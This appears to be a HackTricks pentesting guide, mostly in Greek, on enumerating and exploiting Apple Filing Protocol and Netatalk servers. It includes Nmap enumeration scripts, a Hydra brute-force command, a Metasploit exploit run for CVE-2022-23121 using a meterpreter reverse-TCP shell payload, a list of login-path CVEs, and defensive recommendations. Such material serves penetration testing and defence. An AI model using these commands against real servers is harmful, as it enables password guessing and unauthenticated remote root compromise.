548 - Pentesting Apple Filing Protocol (AFP)

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks

Βασικές Πληροφορίες

Το Apple Filing Protocol (AFP), που προηγουμένως ήταν γνωστό ως AppleTalk Filing Protocol, είναι ένα εξειδικευμένο δικτυακό πρωτόκολλο που περιλαμβάνεται στο Apple File Service (AFS). Σχεδιάστηκε για να παρέχει υπηρεσίες αρχείων για macOS και το κλασικό Mac OS. Το AFP ξεχωρίζει για την υποστήριξη ονομάτων αρχείων σε Unicode, δικαιωμάτων POSIX-style και ACL, resource forks, ονομασμένων extended attributes και εξελιγμένων μηχανισμών κλειδώματος αρχείων.

Παρόλο που το AFP έχει αντικατασταθεί από το SMB στις σύγχρονες εκδόσεις macOS (το SMB είναι το προεπιλεγμένο από το OS X 10.9), εξακολουθεί να εμφανίζεται σε:

  • Παραδοσιακά περιβάλλοντα macOS / Mac OS 9
  • Συσκευές NAS (QNAP, Synology, Western Digital, TrueNAS…) που ενσωματώνουν το ανοικτού κώδικα Netatalk daemon
  • Δίκτυα με μικτό λειτουργικό (Mixed-OS) όπου το Time-Machine-over-AFP εξακολουθεί να είναι ενεργοποιημένο

Προεπιλεγμένη Θύρα TCP: 548 (AFP over TCP / DSI)

PORT     STATE SERVICE
548/tcp  open  afp

Enumeration

Γρήγορο banner / πληροφορίες διακομιστή

# Metasploit auxiliary
use auxiliary/scanner/afp/afp_server_info
run RHOSTS=<IP>

# Nmap NSE
nmap -p 548 -sV --script "afp-* and not dos" <IP>

Χρήσιμα AFP NSE scripts:

ScriptΤι κάνει
afp-lsΛίστα διαθέσιμων AFP volumes και files
afp-brutePassword brute-force κατά του AFP login
afp-serverinfoDump server name, machine type, AFP version, supported UAMs, κ.λπ.
afp-showmountΛίστα shares μαζί με τα ACLs τους
afp-path-vulnΕντοπίζει (και μπορεί να εκμεταλλευτεί) directory-traversal, CVE-2010-0533

Το NSE brute-force script μπορεί να συνδυαστεί με Hydra/Medusa αν απαιτείται περισσότερος έλεγχος:

hydra -L users.txt -P passwords.txt afp://<IP>

Αν έχετε ήδη credentials, Nmap’s AFP scripts γίνονται πολύ πιο χρήσιμα επειδή afp-serverinfo leaks τα διαφημιζόμενα UAMs (auth methods), ενώ afp-showmount και afp-ls μπορούν να enumerate reachable shares, ACLs και interesting files:

nmap -p 548 --script afp-serverinfo,afp-showmount,afp-ls \
--script-args 'afp.username=<USER>,afp.password=<PASS>,ls.maxdepth=2,ls.maxfiles=50' <IP>

Δώστε προσοχή σε:

  • Machine Type: Netatalk στο afp-serverinfo output, που συνήθως σημαίνει NAS / Unix host αντί για την ίδια την υλοποίηση AFP της Apple.
  • UAMs όπως DHX, DHX2, Cleartxt ή Guest, επειδή υποδεικνύουν άμεσα τις προσβάσιμες διαδρομές σύνδεσης και αν είναι ενεργοποιημένη παρωχημένη/αδύναμη πιστοποίηση.
  • Share ACLs από afp-showmount; οι κοινόχρηστοι φάκελοι που είναι world-readable ή τύπου drop-box συχνά αποκαλύπτουν backups, αρχεία .appl και μεταδεδομένα χρηστών πριν καν προσαρτήσετε τον τόμο.

Αλληλεπίδραση με shares

macOS

# Finder → Go → "Connect to Server…"
# or from terminal
mkdir /Volumes/afp
mount_afp afp://USER:[email protected]/SHARE /Volumes/afp

Linux (χρησιμοποιώντας afpfs-ng ‑ πακεταρισμένο στις περισσότερες distros)

apt install afpfs-ng
mkdir /mnt/afp
mount_afp afp://USER:[email protected]/SHARE /mnt/afp
# or interactive client
afp_client <IP>

Μόλις γίνει mount, να θυμάσαι ότι τα κλασικά Mac resource-forks αποθηκεύονται ως κρυφά ._* AppleDouble αρχεία – αυτά συχνά περιέχουν ενδιαφέροντα metadata που τα εργαλεία DFIR παραβλέπουν.

Σε Netatalk targets αυτό το metadata backend επηρεάζει επίσης την εκμεταλλευσιμότητα:

  • ea = ad σημαίνει ότι τα metadata αποθηκεύονται σε AppleDouble v2 αρχεία / καταλόγους .AppleDouble.
  • ea = sys ή ea = samba αποθηκεύει τα metadata σε filesystem extended attributes αντίστοιχα.
  • Στο Netatalk 4.2+ η παλιά επιλογή appledouble αφαιρέθηκε και το backend ελέγχεται αποκλειστικά μέσω της επιλογής ea.

Από μια επιθετική σκοπιά, αυτό σού επιτρέπει να αποφασίσεις γρήγορα αν AppleDouble-oriented bugs είναι πιο πιθανό να είναι προσβάσιμα στον server.


Συνηθισμένες Ευπάθειες & Εκμετάλλευση

Netatalk μη-εξουσιοδοτημένη αλυσίδα RCE (2022)

Πολλοί vendors NAS παρέδωσαν Netatalk ≤3.1.12. Η έλλειψη ελέγχου ορίων στο parse_entries() επιτρέπει σε έναν attacker να δημιουργήσει μια κακόβουλη AppleDouble κεφαλίδα και να αποκτήσει remote root πριν την authentication (CVSS 9.8 – CVE-2022-23121). Υπάρχει πλήρες write-up από την NCC Group με PoC που εκμεταλλεύεται το Western-Digital PR4100.

Το Metasploit (>= 6.3) περιλαμβάνει το module exploit/linux/netatalk/parse_entries το οποίο παραδίδει το payload μέσω DSI WRITE.

use exploit/linux/netatalk/parse_entries
set RHOSTS <IP>
set TARGET 0   # Automatic (Netatalk)
set PAYLOAD linux/x64/meterpreter_reverse_tcp
run

If the target runs an affected QNAP/Synology firmware, successful exploitation yields a shell as root.

Netatalk OpenSession heap overflow (2018)

Older Netatalk (3.0.0 - 3.1.11) is vulnerable to an out-of-bounds write in the DSI OpenSession handler allowing unauthenticated code execution (CVE-2018-1160). A detailed analysis and PoC were published by Tenable Research.

Newer Netatalk attack surface (2022-2024)

Recent Netatalk advisories show that the attack surface is no longer limited to parse_entries() and OpenSession handling:

  • CVE-2022-45188: a specially crafted .appl file can trigger a heap overflow in afp_getappl; this is especially relevant if you can write files into a share and the server runs FCE / notify features.
  • CVE-2023-42464: a type confusion bug in the Spotlight RPC handlers can become reachable when spotlight = yes is enabled in afp.conf (disabled by default).
  • CVE-2024-38439 / CVE-2024-38440 / CVE-2024-38441: one-byte heap out-of-bounds writes in login-related paths fixed in Netatalk 2.4.1 / 3.1.19 / 3.2.1. These bugs are interesting because exploitability depends on the configured UAMs:
  • uams_clrtxt.so + PAM-backed ClearTxt login exposes the FPLoginExt path relevant to CVE-2024-38439.
  • uams_dhx.so + PAM-backed DHX login reaches the vulnerable path for CVE-2024-38440.
  • uams_guest.so keeps the Guest login path reachable for CVE-2024-38441.

This means the output of afp-serverinfo is not just fingerprinting data; it helps you decide which login parser is exposed before spending time on exploit development or NAS firmware triage.

Other notable issues

  • CVE-2022-22995 – Symlink redirection leading to arbitrary file write / RCE when AppleDouble v2 is enabled (3.1.0 - 3.1.17).
  • CVE-2010-0533 – Directory traversal in Apple Mac OS X 10.6 AFP (detected by afp-path-vuln.nse).
  • Multiple memory-safety bugs were fixed again during the 2024 Netatalk releases; if you identify Netatalk in afp-serverinfo, spend a minute correlating the exposed UAMs / Spotlight / metadata backend with the server version before assuming only the 2018/2022 bugs matter.

Αμυντικές Συστάσεις

  1. Disable AFP εκτός αν είναι απολύτως απαραίτητο – χρησιμοποιήστε SMB3 ή NFS.
  2. If AFP must stay, upgrade Netatalk to ≥ 3.1.18 or 4.x, or apply vendor firmware that back-ports the 2022/2023/2024 patches.
  3. Enforce Strong UAMs (π.χ. DHX2), απενεργοποιήστε clear-text και guest logins.
  4. Περιορίστε το TCP 548 σε αξιόπιστα subnets και τρέξτε AFP μέσα από VPN όταν είναι εκτεθειμένο απομακρυσμένα.
  5. Περίοδικα σαρώστε με nmap -p 548 --script afp-* στο CI/CD για να εντοπίζετε rogue / downgraded appliances.

Brute-Force

References

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks